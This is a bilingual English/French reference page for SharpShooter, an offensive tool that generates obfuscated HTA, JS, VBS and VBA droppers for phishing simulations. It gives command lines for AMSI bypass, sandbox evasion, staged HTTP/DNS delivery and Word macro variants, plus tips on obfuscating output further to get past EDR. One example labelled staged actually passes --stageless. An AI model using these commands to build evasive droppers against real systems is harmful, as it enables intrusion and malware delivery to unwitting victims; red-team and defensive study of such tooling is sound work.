SharpShooter

Framework de génération de payloads qui produit des payloads HTA, JS, VBS et VBA staged et stageless avec exécution en mémoire et techniques d'évasion AMSI/sandbox. Payload generation framework that produces staged and stageless HTA, JS, VBS, and VBA payloads with in-memory execution and AMSI/sandbox evasion techniques.

↗ https://github.com/mdsecactivebreach/SharpShooter

Overview

SharpShooter is a Python payload generator built for phishing/initial-access simulations. It wraps .NET assemblies (or raw shellcode) inside obfuscated HTA, JS, VBS, or VBA droppers that execute entirely in memory, with built-in options for AMSI bypasses, domain/sandbox checks, and staged delivery over HTTP. It’s typically paired with a C2 framework (Cobalt Strike, Covenant, Empire) as the delivery mechanism for the initial payload.

Common Usage

Stageless HTA payload embedding a .NET DLL, targeting .NET 4

python SharpShooter.py --stageless --dotnetver 4 -o dropper --com --output hta --rawscfile payload.bin

Staged JS payload pulling the DLL from a remote HTTP server

python SharpShooter.py --stageless --dotnetver 4 -o dropper --output js --web --dns dropper.local

Add a sandbox/domain check so the payload only detonates inside the target domain

python SharpShooter.py --stageless --dotnetver 4 -o dropper --output vbs --sandbox CORP --amsi AMSI

Generate a VBA macro variant for embedding in a Word document

python SharpShooter.py --stageless --dotnetver 4 -o dropper --output vba --com --rawscfile payload.bin

Tips

  • AMSI/AWL evasion modules age quickly against modern EDR — treat SharpShooter output as a starting point to obfuscate further, not a guaranteed bypass
  • --sandbox domain-join checks are a cheap way to reduce detonation inside vendor sandboxes during a phishing simulation
  • Stageless payloads embed the full payload (larger, self-contained); staged payloads fetch it over HTTP/DNS at runtime (smaller, needs infrastructure)
Help / Man page
usage: SharpShooter.py [-h] [--stageless] [--dotnetver {2,4}] -o OUTPUT
                        [--com] [--dns HOSTNAME] [--web]
                        [--output {hta,js,jse,vbs,vbe,vba}]
                        [--sandbox DOMAIN] [--amsi {AMSI}]
                        [--rawscfile FILE] [--payload {dll,exe}]

optional arguments:
  -h, --help            show this help message and exit
  --stageless           generate a stageless payload
  --dotnetver {2,4}     target .NET version for the loader
  -o OUTPUT             output file base name
  --com                 use COM-based execution technique
  --dns HOSTNAME         use DNS as staging transport
  --web                  use HTTP as staging transport
  --output {hta,js,jse,vbs,vbe,vba}
                        output payload format
  --sandbox DOMAIN       only execute if joined to this AD domain
  --amsi {AMSI}          apply AMSI bypass technique
  --rawscfile FILE       raw shellcode/DLL to embed

Vue d’ensemble

SharpShooter est un générateur de payloads en Python conçu pour les simulations de phishing/d’accès initial. Il enveloppe des assemblies .NET (ou du shellcode brut) dans des droppers HTA, JS, VBS ou VBA obfusqués qui s’exécutent entièrement en mémoire, avec des options intégrées de contournement AMSI, de vérifications de domaine/sandbox, et de livraison staged via HTTP. Il est généralement associé à un framework C2 (Cobalt Strike, Covenant, Empire) comme mécanisme de livraison du payload initial.

Utilisation courante

# Payload HTA stageless embarquant une DLL .NET, ciblant .NET 4
python SharpShooter.py --stageless --dotnetver 4 -o dropper --com --output hta --rawscfile payload.bin

# Payload JS staged récupérant la DLL depuis un serveur HTTP distant
python SharpShooter.py --stageless --dotnetver 4 -o dropper --output js --web --dns dropper.local

# Ajouter une vérification sandbox/domaine pour que le payload ne se déclenche que dans le domaine cible
python SharpShooter.py --stageless --dotnetver 4 -o dropper --output vbs --sandbox CORP --amsi AMSI

# Générer une variante en macro VBA pour l'intégrer dans un document Word
python SharpShooter.py --stageless --dotnetver 4 -o dropper --output vba --com --rawscfile payload.bin

Conseils

  • Les modules d’évasion AMSI/AWL vieillissent rapidement face aux EDR modernes : considérer la sortie de SharpShooter comme un point de départ à obfusquer davantage, pas comme un contournement garanti
  • Les vérifications de jointure de domaine --sandbox sont un moyen peu coûteux de réduire le déclenchement dans les sandbox des éditeurs pendant une simulation de phishing
  • Les payloads stageless embarquent le payload complet (plus volumineux, autonome) ; les payloads staged le récupèrent via HTTP/DNS à l’exécution (plus légers, nécessitent une infrastructure)
Aide / Page de manuel
usage: SharpShooter.py [-h] [--stageless] [--dotnetver {2,4}] -o OUTPUT
                        [--com] [--dns HOSTNAME] [--web]
                        [--output {hta,js,jse,vbs,vbe,vba}]
                        [--sandbox DOMAIN] [--amsi {AMSI}]
                        [--rawscfile FILE] [--payload {dll,exe}]

optional arguments:
  -h, --help            show this help message and exit
  --stageless           generate a stageless payload
  --dotnetver {2,4}     target .NET version for the loader
  -o OUTPUT             output file base name
  --com                 use COM-based execution technique
  --dns HOSTNAME         use DNS as staging transport
  --web                  use HTTP as staging transport
  --output {hta,js,jse,vbs,vbe,vba}
                        output payload format
  --sandbox DOMAIN       only execute if joined to this AD domain
  --amsi {AMSI}          apply AMSI bypass technique
  --rawscfile FILE       raw shellcode/DLL to embed